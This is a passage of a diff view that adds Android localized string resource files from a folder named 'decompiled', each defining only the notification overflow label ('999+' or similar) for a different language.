|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">+999</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-et/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-eu/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-fa/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-fi/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-fr-rCA/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-fr/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-gl/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">>999</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-gu/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-hi/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-hr/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-hu/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-hy/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-in/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-is/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-it/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-iw/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-ja/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-ka/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-kk/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-km/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-kn/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|
4
app/factory/decompiled/res/values-ko/strings.xml
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="status_bar_notification_info_overflow">999+</string>
|
||||
</resources>
|